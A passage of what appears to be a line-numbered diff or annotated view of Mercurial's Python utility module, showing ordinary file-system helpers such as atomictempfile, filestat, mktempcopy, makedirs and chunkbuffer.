|
2086 | 2087 | return readlink(pathname) |
|
2087 | 2088 | except OSError as why: |
|
2088 | 2089 | if why.errno not in (errno.EINVAL, errno.ENOSYS): |
|
2089 | 2090 | raise |
|
2090 | 2091 | except AttributeError: # no symlink in os |
|
2091 | 2092 | pass |
|
2092 | 2093 | with posixfile(pathname, b'rb') as fp: |
|
2093 | 2094 | return fp.read() |
|
2094 | 2095 | |
|
2095 | 2096 | |
|
2096 | 2097 | def fstat(fp): |
|
2097 | 2098 | '''stat file object that may not have fileno method.''' |
|
2098 | 2099 | try: |
|
2099 | 2100 | return os.fstat(fp.fileno()) |
|
2100 | 2101 | except AttributeError: |
|
2101 | 2102 | return os.stat(fp.name) |
|
2102 | 2103 | |
|
2103 | 2104 | |
|
2104 | 2105 | # File system features |
|
2105 | 2106 | |
|
2106 | 2107 | |
|
2107 | 2108 | def fscasesensitive(path): |
|
2108 | 2109 | """ |
|
2109 | 2110 | Return true if the given path is on a case-sensitive filesystem |
|
2110 | 2111 | |
|
2111 | 2112 | Requires a path (like /foo/.hg) ending with a foldable final |
|
2112 | 2113 | directory component. |
|
2113 | 2114 | """ |
|
2114 | 2115 | s1 = os.lstat(path) |
|
2115 | 2116 | d, b = os.path.split(path) |
|
2116 | 2117 | b2 = b.upper() |
|
2117 | 2118 | if b == b2: |
|
2118 | 2119 | b2 = b.lower() |
|
2119 | 2120 | if b == b2: |
|
2120 | 2121 | return True # no evidence against case sensitivity |
|
2121 | 2122 | p2 = os.path.join(d, b2) |
|
2122 | 2123 | try: |
|
2123 | 2124 | s2 = os.lstat(p2) |
|
2124 | 2125 | if s2 == s1: |
|
2125 | 2126 | return False |
|
2126 | 2127 | return True |
|
2127 | 2128 | except OSError: |
|
2128 | 2129 | return True |
|
2129 | 2130 | |
|
2130 | 2131 | |
|
2131 | 2132 | try: |
|
2132 | 2133 | import re2 |
|
2133 | 2134 | |
|
2134 | 2135 | _re2 = None |
|
2135 | 2136 | except ImportError: |
|
2136 | 2137 | _re2 = False |
|
2137 | 2138 | |
|
2138 | 2139 | |
|
2139 | 2140 | class _re(object): |
|
2140 | 2141 | def _checkre2(self): |
|
2141 | 2142 | global _re2 |
|
2142 | 2143 | try: |
|
2143 | 2144 | # check if match works, see issue3964 |
|
2144 | 2145 | _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]')) |
|
2145 | 2146 | except ImportError: |
|
2146 | 2147 | _re2 = False |
|
2147 | 2148 | |
|
2148 | 2149 | def compile(self, pat, flags=0): |
|
2149 | 2150 | '''Compile a regular expression, using re2 if possible |
|
2150 | 2151 | |
|
2151 | 2152 | For best performance, use only re2-compatible regexp features. The |
|
2152 | 2153 | only flags from the re module that are re2-compatible are |
|
2153 | 2154 | IGNORECASE and MULTILINE.''' |
|
2154 | 2155 | if _re2 is None: |
|
2155 | 2156 | self._checkre2() |
|
2156 | 2157 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
|
2157 | 2158 | if flags & remod.IGNORECASE: |
|
2158 | 2159 | pat = b'(?i)' + pat |
|
2159 | 2160 | if flags & remod.MULTILINE: |
|
2160 | 2161 | pat = b'(?m)' + pat |
|
2161 | 2162 | try: |
|
2162 | 2163 | return re2.compile(pat) |
|
2163 | 2164 | except re2.error: |
|
2164 | 2165 | pass |
|
2165 | 2166 | return remod.compile(pat, flags) |
|
2166 | 2167 | |
|
2167 | 2168 | @propertycache |
|
2168 | 2169 | def escape(self): |
|
2169 | 2170 | '''Return the version of escape corresponding to self.compile. |
|
2170 | 2171 | |
|
2171 | 2172 | This is imperfect because whether re2 or re is used for a particular |
|
2172 | 2173 | function depends on the flags, etc, but it's the best we can do. |
|
2173 | 2174 | ''' |
|
2174 | 2175 | global _re2 |
|
2175 | 2176 | if _re2 is None: |
|
2176 | 2177 | self._checkre2() |
|
2177 | 2178 | if _re2: |
|
2178 | 2179 | return re2.escape |
|
2179 | 2180 | else: |
|
2180 | 2181 | return remod.escape |
|
2181 | 2182 | |
|
2182 | 2183 | |
|
2183 | 2184 | re = _re() |
|
2184 | 2185 | |
|
2185 | 2186 | _fspathcache = {} |
|
2186 | 2187 | |
|
2187 | 2188 | |
|
2188 | 2189 | def fspath(name, root): |
|
2189 | 2190 | '''Get name in the case stored in the filesystem |
|
2190 | 2191 | |
|
2191 | 2192 | The name should be relative to root, and be normcase-ed for efficiency. |
|
2192 | 2193 | |
|
2193 | 2194 | Note that this function is unnecessary, and should not be |
|
2194 | 2195 | called, for case-sensitive filesystems (simply because it's expensive). |
|
2195 | 2196 | |
|
2196 | 2197 | The root should be normcase-ed, too. |
|
2197 | 2198 | ''' |
|
2198 | 2199 | |
|
2199 | 2200 | def _makefspathcacheentry(dir): |
|
2200 | 2201 | return dict((normcase(n), n) for n in os.listdir(dir)) |
|
2201 | 2202 | |
|
2202 | 2203 | seps = pycompat.ossep |
|
2203 | 2204 | if pycompat.osaltsep: |
|
2204 | 2205 | seps = seps + pycompat.osaltsep |
|
2205 | 2206 | # Protect backslashes. This gets silly very quickly. |
|
2206 | 2207 | seps.replace(b'\\', b'\\\\') |
|
2207 | 2208 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
|
2208 | 2209 | dir = os.path.normpath(root) |
|
2209 | 2210 | result = [] |
|
2210 | 2211 | for part, sep in pattern.findall(name): |
|
2211 | 2212 | if sep: |
|
2212 | 2213 | result.append(sep) |
|
2213 | 2214 | continue |
|
2214 | 2215 | |
|
2215 | 2216 | if dir not in _fspathcache: |
|
2216 | 2217 | _fspathcache[dir] = _makefspathcacheentry(dir) |
|
2217 | 2218 | contents = _fspathcache[dir] |
|
2218 | 2219 | |
|
2219 | 2220 | found = contents.get(part) |
|
2220 | 2221 | if not found: |
|
2221 | 2222 | # retry "once per directory" per "dirstate.walk" which |
|
2222 | 2223 | # may take place for each patches of "hg qpush", for example |
|
2223 | 2224 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
|
2224 | 2225 | found = contents.get(part) |
|
2225 | 2226 | |
|
2226 | 2227 | result.append(found or part) |
|
2227 | 2228 | dir = os.path.join(dir, part) |
|
2228 | 2229 | |
|
2229 | 2230 | return b''.join(result) |
|
2230 | 2231 | |
|
2231 | 2232 | |
|
2232 | 2233 | def checknlink(testfile): |
|
2233 | 2234 | '''check whether hardlink count reporting works properly''' |
|
2234 | 2235 | |
|
2235 | 2236 | # testfile may be open, so we need a separate file for checking to |
|
2236 | 2237 | # work around issue2543 (or testfile may get lost on Samba shares) |
|
2237 | 2238 | f1, f2, fp = None, None, None |
|
2238 | 2239 | try: |
|
2239 | 2240 | fd, f1 = pycompat.mkstemp( |
|
2240 | 2241 | prefix=b'.%s-' % os.path.basename(testfile), |
|
2241 | 2242 | suffix=b'1~', |
|
2242 | 2243 | dir=os.path.dirname(testfile), |
|
2243 | 2244 | ) |
|
2244 | 2245 | os.close(fd) |
|
2245 | 2246 | f2 = b'%s2~' % f1[:-2] |
|
2246 | 2247 | |
|
2247 | 2248 | oslink(f1, f2) |
|
2248 | 2249 | # nlinks() may behave differently for files on Windows shares if |
|
2249 | 2250 | # the file is open. |
|
2250 | 2251 | fp = posixfile(f2) |
|
2251 | 2252 | return nlinks(f2) > 1 |
|
2252 | 2253 | except OSError: |
|
2253 | 2254 | return False |
|
2254 | 2255 | finally: |
|
2255 | 2256 | if fp is not None: |
|
2256 | 2257 | fp.close() |
|
2257 | 2258 | for f in (f1, f2): |
|
2258 | 2259 | try: |
|
2259 | 2260 | if f is not None: |
|
2260 | 2261 | os.unlink(f) |
|
2261 | 2262 | except OSError: |
|
2262 | 2263 | pass |
|
2263 | 2264 | |
|
2264 | 2265 | |
|
2265 | 2266 | def endswithsep(path): |
|
2266 | 2267 | '''Check path ends with os.sep or os.altsep.''' |
|
2267 | 2268 | return ( |
|
2268 | 2269 | path.endswith(pycompat.ossep) |
|
2269 | 2270 | or pycompat.osaltsep |
|
2270 | 2271 | and path.endswith(pycompat.osaltsep) |
|
2271 | 2272 | ) |
|
2272 | 2273 | |
|
2273 | 2274 | |
|
2274 | 2275 | def splitpath(path): |
|
2275 | 2276 | '''Split path by os.sep. |
|
2276 | 2277 | Note that this function does not use os.altsep because this is |
|
2277 | 2278 | an alternative of simple "xxx.split(os.sep)". |
|
2278 | 2279 | It is recommended to use os.path.normpath() before using this |
|
2279 | 2280 | function if need.''' |
|
2280 | 2281 | return path.split(pycompat.ossep) |
|
2281 | 2282 | |
|
2282 | 2283 | |
|
2283 | 2284 | def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False): |
|
2284 | 2285 | """Create a temporary file with the same contents from name |
|
2285 | 2286 | |
|
2286 | 2287 | The permission bits are copied from the original file. |
|
2287 | 2288 | |
|
2288 | 2289 | If the temporary file is going to be truncated immediately, you |
|
2289 | 2290 | can use emptyok=True as an optimization. |
|
2290 | 2291 | |
|
2291 | 2292 | Returns the name of the temporary file. |
|
2292 | 2293 | """ |
|
2293 | 2294 | d, fn = os.path.split(name) |
|
2294 | 2295 | fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d) |
|
2295 | 2296 | os.close(fd) |
|
2296 | 2297 | # Temporary files are created with mode 0600, which is usually not |
|
2297 | 2298 | # what we want. If the original file already exists, just copy |
|
2298 | 2299 | # its mode. Otherwise, manually obey umask. |
|
2299 | 2300 | copymode(name, temp, createmode, enforcewritable) |
|
2300 | 2301 | |
|
2301 | 2302 | if emptyok: |
|
2302 | 2303 | return temp |
|
2303 | 2304 | try: |
|
2304 | 2305 | try: |
|
2305 | 2306 | ifp = posixfile(name, b"rb") |
|
2306 | 2307 | except IOError as inst: |
|
2307 | 2308 | if inst.errno == errno.ENOENT: |
|
2308 | 2309 | return temp |
|
2309 | 2310 | if not getattr(inst, 'filename', None): |
|
2310 | 2311 | inst.filename = name |
|
2311 | 2312 | raise |
|
2312 | 2313 | ofp = posixfile(temp, b"wb") |
|
2313 | 2314 | for chunk in filechunkiter(ifp): |
|
2314 | 2315 | ofp.write(chunk) |
|
2315 | 2316 | ifp.close() |
|
2316 | 2317 | ofp.close() |
|
2317 | 2318 | except: # re-raises |
|
2318 | 2319 | try: |
|
2319 | 2320 | os.unlink(temp) |
|
2320 | 2321 | except OSError: |
|
2321 | 2322 | pass |
|
2322 | 2323 | raise |
|
2323 | 2324 | return temp |
|
2324 | 2325 | |
|
2325 | 2326 | |
|
2326 | 2327 | class filestat(object): |
|
2327 | 2328 | """help to exactly detect change of a file |
|
2328 | 2329 | |
|
2329 | 2330 | 'stat' attribute is result of 'os.stat()' if specified 'path' |
|
2330 | 2331 | exists. Otherwise, it is None. This can avoid preparative |
|
2331 | 2332 | 'exists()' examination on client side of this class. |
|
2332 | 2333 | """ |
|
2333 | 2334 | |
|
2334 | 2335 | def __init__(self, stat): |
|
2335 | 2336 | self.stat = stat |
|
2336 | 2337 | |
|
2337 | 2338 | @classmethod |
|
2338 | 2339 | def frompath(cls, path): |
|
2339 | 2340 | try: |
|
2340 | 2341 | stat = os.stat(path) |
|
2341 | 2342 | except OSError as err: |
|
2342 | 2343 | if err.errno != errno.ENOENT: |
|
2343 | 2344 | raise |
|
2344 | 2345 | stat = None |
|
2345 | 2346 | return cls(stat) |
|
2346 | 2347 | |
|
2347 | 2348 | @classmethod |
|
2348 | 2349 | def fromfp(cls, fp): |
|
2349 | 2350 | stat = os.fstat(fp.fileno()) |
|
2350 | 2351 | return cls(stat) |
|
2351 | 2352 | |
|
2352 | 2353 | __hash__ = object.__hash__ |
|
2353 | 2354 | |
|
2354 | 2355 | def __eq__(self, old): |
|
2355 | 2356 | try: |
|
2356 | 2357 | # if ambiguity between stat of new and old file is |
|
2357 | 2358 | # avoided, comparison of size, ctime and mtime is enough |
|
2358 | 2359 | # to exactly detect change of a file regardless of platform |
|
2359 | 2360 | return ( |
|
2360 | 2361 | self.stat.st_size == old.stat.st_size |
|
2361 | 2362 | and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
|
2362 | 2363 | and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME] |
|
2363 | 2364 | ) |
|
2364 | 2365 | except AttributeError: |
|
2365 | 2366 | pass |
|
2366 | 2367 | try: |
|
2367 | 2368 | return self.stat is None and old.stat is None |
|
2368 | 2369 | except AttributeError: |
|
2369 | 2370 | return False |
|
2370 | 2371 | |
|
2371 | 2372 | def isambig(self, old): |
|
2372 | 2373 | """Examine whether new (= self) stat is ambiguous against old one |
|
2373 | 2374 | |
|
2374 | 2375 | "S[N]" below means stat of a file at N-th change: |
|
2375 | 2376 | |
|
2376 | 2377 | - S[n-1].ctime < S[n].ctime: can detect change of a file |
|
2377 | 2378 | - S[n-1].ctime == S[n].ctime |
|
2378 | 2379 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
|
2379 | 2380 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
|
2380 | 2381 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
|
2381 | 2382 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
|
2382 | 2383 | |
|
2383 | 2384 | Case (*2) above means that a file was changed twice or more at |
|
2384 | 2385 | same time in sec (= S[n-1].ctime), and comparison of timestamp |
|
2385 | 2386 | is ambiguous. |
|
2386 | 2387 | |
|
2387 | 2388 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
|
2388 | 2389 | timestamp is ambiguous". |
|
2389 | 2390 | |
|
2390 | 2391 | But advancing mtime only in case (*2) doesn't work as |
|
2391 | 2392 | expected, because naturally advanced S[n].mtime in case (*1) |
|
2392 | 2393 | might be equal to manually advanced S[n-1 or earlier].mtime. |
|
2393 | 2394 | |
|
2394 | 2395 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
|
2395 | 2396 | treated as ambiguous regardless of mtime, to avoid overlooking |
|
2396 | 2397 | by confliction between such mtime. |
|
2397 | 2398 | |
|
2398 | 2399 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
|
2399 | 2400 | S[n].mtime", even if size of a file isn't changed. |
|
2400 | 2401 | """ |
|
2401 | 2402 | try: |
|
2402 | 2403 | return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
|
2403 | 2404 | except AttributeError: |
|
2404 | 2405 | return False |
|
2405 | 2406 | |
|
2406 | 2407 | def avoidambig(self, path, old): |
|
2407 | 2408 | """Change file stat of specified path to avoid ambiguity |
|
2408 | 2409 | |
|
2409 | 2410 | 'old' should be previous filestat of 'path'. |
|
2410 | 2411 | |
|
2411 | 2412 | This skips avoiding ambiguity, if a process doesn't have |
|
2412 | 2413 | appropriate privileges for 'path'. This returns False in this |
|
2413 | 2414 | case. |
|
2414 | 2415 | |
|
2415 | 2416 | Otherwise, this returns True, as "ambiguity is avoided". |
|
2416 | 2417 | """ |
|
2417 | 2418 | advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
|
2418 | 2419 | try: |
|
2419 | 2420 | os.utime(path, (advanced, advanced)) |
|
2420 | 2421 | except OSError as inst: |
|
2421 | 2422 | if inst.errno == errno.EPERM: |
|
2422 | 2423 | # utime() on the file created by another user causes EPERM, |
|
2423 | 2424 | # if a process doesn't have appropriate privileges |
|
2424 | 2425 | return False |
|
2425 | 2426 | raise |
|
2426 | 2427 | return True |
|
2427 | 2428 | |
|
2428 | 2429 | def __ne__(self, other): |
|
2429 | 2430 | return not self == other |
|
2430 | 2431 | |
|
2431 | 2432 | |
|
2432 | 2433 | class atomictempfile(object): |
|
2433 | 2434 | '''writable file object that atomically updates a file |
|
2434 | 2435 | |
|
2435 | 2436 | All writes will go to a temporary copy of the original file. Call |
|
2436 | 2437 | close() when you are done writing, and atomictempfile will rename |
|
2437 | 2438 | the temporary copy to the original name, making the changes |
|
2438 | 2439 | visible. If the object is destroyed without being closed, all your |
|
2439 | 2440 | writes are discarded. |
|
2440 | 2441 | |
|
2441 | 2442 | checkambig argument of constructor is used with filestat, and is |
|
2442 | 2443 | useful only if target file is guarded by any lock (e.g. repo.lock |
|
2443 | 2444 | or repo.wlock). |
|
2444 | 2445 | ''' |
|
2445 | 2446 | |
|
2446 | 2447 | def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False): |
|
2447 | 2448 | self.__name = name # permanent name |
|
2448 | 2449 | self._tempname = mktempcopy( |
|
2449 | 2450 | name, |
|
2450 | 2451 | emptyok=(b'w' in mode), |
|
2451 | 2452 | createmode=createmode, |
|
2452 | 2453 | enforcewritable=(b'w' in mode), |
|
2453 | 2454 | ) |
|
2454 | 2455 | |
|
2455 | 2456 | self._fp = posixfile(self._tempname, mode) |
|
2456 | 2457 | self._checkambig = checkambig |
|
2457 | 2458 | |
|
2458 | 2459 | # delegated methods |
|
2459 | 2460 | self.read = self._fp.read |
|
2460 | 2461 | self.write = self._fp.write |
|
2461 | 2462 | self.seek = self._fp.seek |
|
2462 | 2463 | self.tell = self._fp.tell |
|
2463 | 2464 | self.fileno = self._fp.fileno |
|
2464 | 2465 | |
|
2465 | 2466 | def close(self): |
|
2466 | 2467 | if not self._fp.closed: |
|
2467 | 2468 | self._fp.close() |
|
2468 | 2469 | filename = localpath(self.__name) |
|
2469 | 2470 | oldstat = self._checkambig and filestat.frompath(filename) |
|
2470 | 2471 | if oldstat and oldstat.stat: |
|
2471 | 2472 | rename(self._tempname, filename) |
|
2472 | 2473 | newstat = filestat.frompath(filename) |
|
2473 | 2474 | if newstat.isambig(oldstat): |
|
2474 | 2475 | # stat of changed file is ambiguous to original one |
|
2475 | 2476 | advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
|
2476 | 2477 | os.utime(filename, (advanced, advanced)) |
|
2477 | 2478 | else: |
|
2478 | 2479 | rename(self._tempname, filename) |
|
2479 | 2480 | |
|
2480 | 2481 | def discard(self): |
|
2481 | 2482 | if not self._fp.closed: |
|
2482 | 2483 | try: |
|
2483 | 2484 | os.unlink(self._tempname) |
|
2484 | 2485 | except OSError: |
|
2485 | 2486 | pass |
|
2486 | 2487 | self._fp.close() |
|
2487 | 2488 | |
|
2488 | 2489 | def __del__(self): |
|
2489 | 2490 | if safehasattr(self, '_fp'): # constructor actually did something |
|
2490 | 2491 | self.discard() |
|
2491 | 2492 | |
|
2492 | 2493 | def __enter__(self): |
|
2493 | 2494 | return self |
|
2494 | 2495 | |
|
2495 | 2496 | def __exit__(self, exctype, excvalue, traceback): |
|
2496 | 2497 | if exctype is not None: |
|
2497 | 2498 | self.discard() |
|
2498 | 2499 | else: |
|
2499 | 2500 | self.close() |
|
2500 | 2501 | |
|
2501 | 2502 | |
|
2502 | 2503 | def unlinkpath(f, ignoremissing=False, rmdir=True): |
|
2503 | 2504 | """unlink and remove the directory if it is empty""" |
|
2504 | 2505 | if ignoremissing: |
|
2505 | 2506 | tryunlink(f) |
|
2506 | 2507 | else: |
|
2507 | 2508 | unlink(f) |
|
2508 | 2509 | if rmdir: |
|
2509 | 2510 | # try removing directories that might now be empty |
|
2510 | 2511 | try: |
|
2511 | 2512 | removedirs(os.path.dirname(f)) |
|
2512 | 2513 | except OSError: |
|
2513 | 2514 | pass |
|
2514 | 2515 | |
|
2515 | 2516 | |
|
2516 | 2517 | def tryunlink(f): |
|
2517 | 2518 | """Attempt to remove a file, ignoring ENOENT errors.""" |
|
2518 | 2519 | try: |
|
2519 | 2520 | unlink(f) |
|
2520 | 2521 | except OSError as e: |
|
2521 | 2522 | if e.errno != errno.ENOENT: |
|
2522 | 2523 | raise |
|
2523 | 2524 | |
|
2524 | 2525 | |
|
2525 | 2526 | def makedirs(name, mode=None, notindexed=False): |
|
2526 | 2527 | """recursive directory creation with parent mode inheritance |
|
2527 | 2528 | |
|
2528 | 2529 | Newly created directories are marked as "not to be indexed by |
|
2529 | 2530 | the content indexing service", if ``notindexed`` is specified |
|
2530 | 2531 | for "write" mode access. |
|
2531 | 2532 | """ |
|
2532 | 2533 | try: |
|
2533 | 2534 | makedir(name, notindexed) |
|
2534 | 2535 | except OSError as err: |
|
2535 | 2536 | if err.errno == errno.EEXIST: |
|
2536 | 2537 | return |
|
2537 | 2538 | if err.errno != errno.ENOENT or not name: |
|
2538 | 2539 | raise |
|
2539 | 2540 | parent = os.path.dirname(os.path.abspath(name)) |
|
2540 | 2541 | if parent == name: |
|
2541 | 2542 | raise |
|
2542 | 2543 | makedirs(parent, mode, notindexed) |
|
2543 | 2544 | try: |
|
2544 | 2545 | makedir(name, notindexed) |
|
2545 | 2546 | except OSError as err: |
|
2546 | 2547 | # Catch EEXIST to handle races |
|
2547 | 2548 | if err.errno == errno.EEXIST: |
|
2548 | 2549 | return |
|
2549 | 2550 | raise |
|
2550 | 2551 | if mode is not None: |
|
2551 | 2552 | os.chmod(name, mode) |
|
2552 | 2553 | |
|
2553 | 2554 | |
|
2554 | 2555 | def readfile(path): |
|
2555 | 2556 | with open(path, b'rb') as fp: |
|
2556 | 2557 | return fp.read() |
|
2557 | 2558 | |
|
2558 | 2559 | |
|
2559 | 2560 | def writefile(path, text): |
|
2560 | 2561 | with open(path, b'wb') as fp: |
|
2561 | 2562 | fp.write(text) |
|
2562 | 2563 | |
|
2563 | 2564 | |
|
2564 | 2565 | def appendfile(path, text): |
|
2565 | 2566 | with open(path, b'ab') as fp: |
|
2566 | 2567 | fp.write(text) |
|
2567 | 2568 | |
|
2568 | 2569 | |
|
2569 | 2570 | class chunkbuffer(object): |
|
2570 | 2571 | """Allow arbitrary sized chunks of data to be efficiently read from an |
|
2571 | 2572 | iterator over chunks of arbitrary size.""" |
|
2572 | 2573 | |
|
2573 | 2574 | def __init__(self, in_iter): |
|
2574 | 2575 | """in_iter is the iterator that's iterating over the input chunks.""" |
|
2575 | 2576 | |
|
2576 | 2577 | def splitbig(chunks): |
|
2577 | 2578 | for chunk in chunks: |
|
2578 | 2579 | if len(chunk) > 2 ** 20: |
|
2579 | 2580 | pos = 0 |
|
2580 | 2581 | while pos < len(chunk): |
|
2581 | 2582 | end = pos + 2 ** 18 |
|
2582 | 2583 | yield chunk[pos:end] |
|
2583 | 2584 | pos = end |
|
2584 | 2585 | else: |
|
2585 | 2586 | yield chunk |
|
2586 | 2587 | |
|
2587 | 2588 | self.iter = splitbig(in_iter) |
|
2588 | 2589 | self._queue = collections.deque() |
|
2589 | 2590 | self._chunkoffset = 0 |
|
2590 | 2591 | |
|
2591 | 2592 | def read(self, l=None): |
|
2592 | 2593 | """Read L bytes of data from the iterator of chunks of data. |
|
2593 | 2594 | Returns less than L bytes if the iterator runs dry. |
|
2594 | 2595 | |
|
2595 | 2596 | If size parameter is omitted, read everything""" |
|
2596 | 2597 | if l is None: |
|
2597 | 2598 | return b''.join(self.iter) |
|
2598 | 2599 | |
|
2599 | 2600 | left = l |
|
2600 | 2601 | buf = [] |
|
2601 | 2602 | queue = self._queue |
|
2602 | 2603 | while left > 0: |
|
2603 | 2604 | # refill the queue |
|
2604 | 2605 | if not queue: |
|
2605 | 2606 | target = 2 ** 18 |
|
2606 | 2607 | for chunk in self.iter: |
|
2607 | 2608 | queue.append(chunk) |
|
2608 | 2609 | target -= len(chunk) |
|
2609 | 2610 | if target <= 0: |
|
2610 | 2611 | break |
|
2611 | 2612 | if not queue: |
|
2612 | 2613 | break |
|
2613 | 2614 | |
|
2614 | 2615 | # The easy way to do this would be to queue.popleft(), modify the |
|
2615 | 2616 | # chunk (if necessary), then queue.appendleft(). However, for cases |
|
2616 | 2617 | # where we read partial chunk content, this incurs 2 dequeue |
|
2617 | 2618 | # mutations and creates a new str for the remaining chunk in the |
|
2618 | 2619 | # queue. Our code below avoids this overhead. |
|
2619 | 2620 | |
|
2620 | 2621 | chunk = queue[0] |
|
2621 | 2622 | chunkl = len(chunk) |
|
2622 | 2623 | offset = self._chunkoffset |
|
2623 | 2624 | |
|
2624 | 2625 | # Use full chunk. |
|
2625 | 2626 | if offset == 0 and left >= chunkl: |
|
2626 | 2627 | left -= chunkl |
|
2627 | 2628 | queue.popleft() |
|
2628 | 2629 | buf.append(chunk) |
|
2629 | 2630 | # self._chunkoffset remains at 0. |
|
2630 | 2631 | continue |
|
2631 | 2632 | |
|
2632 | 2633 | chunkremaining = chunkl - offset |
|
2633 | 2634 | |
|
2634 | 2635 | # Use all of unconsumed part of chunk. |
|
2635 | 2636 | if left >= chunkremaining: |
|
2636 | 2637 | left -= chunkremaining |
|
2637 | 2638 | queue.popleft() |
|
2638 | 2639 | # offset == 0 is enabled by block above, so this won't merely |
|
2639 | 2640 | # copy via ``chunk[0:]``. |
|
2640 | 2641 | buf.append(chunk[offset:]) |
|
2641 | 2642 | self._chunkoffset = 0 |
|
2642 | 2643 | |
|
2643 | 2644 | # Partial chunk needed. |
|
2644 | 2645 | else: |
|
2645 | 2646 | buf.append(chunk[offset : offset + left]) |
|
2646 | 2647 | self._chunkoffset += left |
|
2647 | 2648 | left -= chunkremaining |
|
2648 | 2649 | |
|
2649 | 2650 | return b''.join(buf) |
|
2650 | 2651 | |
|
2651 | 2652 | |
|
2652 | 2653 | def filechunkiter(f, size=131072, limit=None): |
|
2653 | 2654 | """Create a generator that produces the data in the file size |
|
2654 | 2655 | (default 131072) bytes at a time, up to optional limit (default is |
|
2655 | 2656 | to read all data). Chunks may be less than size bytes if the |
|
2656 | 2657 | chunk is the last chunk in the file, or the file is a socket or |
|
2657 | 2658 | some other type of file that sometimes reads less data than is |
|
2658 | 2659 | requested.""" |
|
2659 | 2660 | assert size >= 0 |
|
2660 | 2661 | assert limit is None or limit >= 0 |
|
2661 | 2662 | while True: |
|
2662 | 2663 | if limit is None: |
|
2663 | 2664 | nbytes = size |
|
2664 | 2665 | else: |
|
2665 | 2666 | nbytes = min(limit, size) |
|
2666 | 2667 | s = nbytes and f.read(nbytes) |
|
2667 | 2668 | if not s: |
|
2668 | 2669 | break |
|
2669 | 2670 | if limit: |
|
2670 | 2671 | limit -= len(s) |
|
2671 | 2672 | yield s |
|
2672 | 2673 | |
|
2673 | 2674 | |
|
2674 | 2675 | class cappedreader(object): |
|
2675 | 2676 | """A file object proxy that allows reading up to N bytes. |
|
2676 | 2677 | |
|
2677 | 2678 | Given a source file object, instances of this type allow reading up to |
|
2678 | 2679 | N bytes from that source file object. Attempts to read past the allowed |
|
2679 | 2680 | limit are treated as EOF. |
|
2680 | 2681 | |
|
2681 | 2682 | It is assumed that I/O is not performed on the original file object |
|
2682 | 2683 | in addition to I/O that is performed by this instance. If there is, |
|
2683 | 2684 | state tracking will get out of sync and unexpected results will ensue. |
|
2684 | 2685 | """ |
|
2685 | 2686 | |
|
2686 | 2687 | def __init__(self, fh, limit): |
|
2687 | 2688 | """Allow reading up to <limit> bytes from <fh>.""" |
|
2688 | 2689 | self._fh = fh |
|
2689 | 2690 | self._left = limit |
|
2690 | 2691 | |
|
2691 | 2692 | def read(self, n=-1): |
|
2692 | 2693 | if not self._left: |
|
2693 | 2694 | return b'' |
|
2694 | 2695 | |
|
2695 | 2696 | if n < 0: |
|
2696 | 2697 | n = self._left |
|
2697 | 2698 | |
|
2698 | 2699 | data = self._fh.read(min(n, self._left)) |
|
2699 | 2700 | self._left -= len(data) |
|
2700 | 2701 | assert self._left >= 0 |
|
2701 | 2702 | |
|
2702 | 2703 | return data |
|
2703 | 2704 | |
|
2704 | 2705 | def readinto(self, b): |
|
2705 | 2706 | res = self.read(len(b)) |
|
2706 | 2707 | if res is None: |
|
2707 | 2708 | return None |
|
2708 | 2709 | |
|
2709 | 2710 | b[0 : len(res)] = res |
|
2710 | 2711 | return len(res) |
|
2711 | 2712 | |
|
2712 | 2713 | |
|
2713 | 2714 | def unitcountfn(*unittable): |
|
2714 | 2715 | '''return a function that renders a readable count of some quantity''' |
|
2715 | 2716 | |
|
2716 | 2717 | def go(count): |
|
2717 | 2718 | for multiplier, divisor, format in unittable: |
|
2718 | 2719 | if abs(count) >= divisor * multiplier: |
|
2719 | 2720 | return format % (count / float(divisor)) |
|
2720 | 2721 | return unittable[-1][2] % count |
|
2721 | 2722 | |
|
2722 | 2723 | return go |
|
2723 | 2724 | |
|
2724 | 2725 | |
|
2725 | 2726 | def processlinerange(fromline, toline): |
|
2726 | 2727 | """Check that linerange <fromline>:<toline> makes sense and return a |
|
2727 | 2728 | 0-based range. |
|
2728 | 2729 | |
|
2729 | 2730 | >>> processlinerange(10, 20) |
|
2730 | 2731 | (9, 20) |
|
2731 | 2732 | >>> processlinerange(2, 1) |
|
2732 | 2733 | Traceback (most recent call last): |
|
2733 | 2734 | ... |
|
2734 | 2735 | ParseError: line range must be positive |
|
2735 | 2736 | >>> processlinerange(0, 5) |
|
2736 | 2737 | Traceback (most recent call last): |
|
2737 | 2738 | ... |
|
2738 | 2739 | ParseError: fromline must be strictly positive |
|
2739 | 2740 | """ |
|
2740 | 2741 | if toline - fromline < 0: |
|
2741 | 2742 | raise error.ParseError(_(b"line range must be positive")) |
|
2742 | 2743 | if fromline < 1: |
|
2743 | 2744 | raise error.ParseError(_(b"fromline must be strictly positive")) |
|
2744 | 2745 | return fromline - 1, toline |
|
2745 | 2746 | |
|
2746 | 2747 | |
|
2747 | 2748 | bytecount = unitcountfn( |
|
2748 | 2749 | (100, 1 << 30, _(b'%.0f GB')), |
|
2749 | 2750 | (10, 1 << 30, _(b'%.1f GB')), |
|
2750 | 2751 | (1, 1 << 30, _(b'%.2f GB')), |
|
2751 | 2752 | (100, 1 << 20, _(b'%.0f MB')), |
|
2752 | 2753 | (10, 1 << 20, _(b'%.1f MB')), |
|
2753 | 2754 | (1, 1 << 20, _(b'%.2f MB')), |
|
2754 | 2755 | (100, 1 << 10, _(b'%.0f KB')), |
|
2755 | 2756 | (10, 1 << 10, _(b'%.1f KB')), |
|
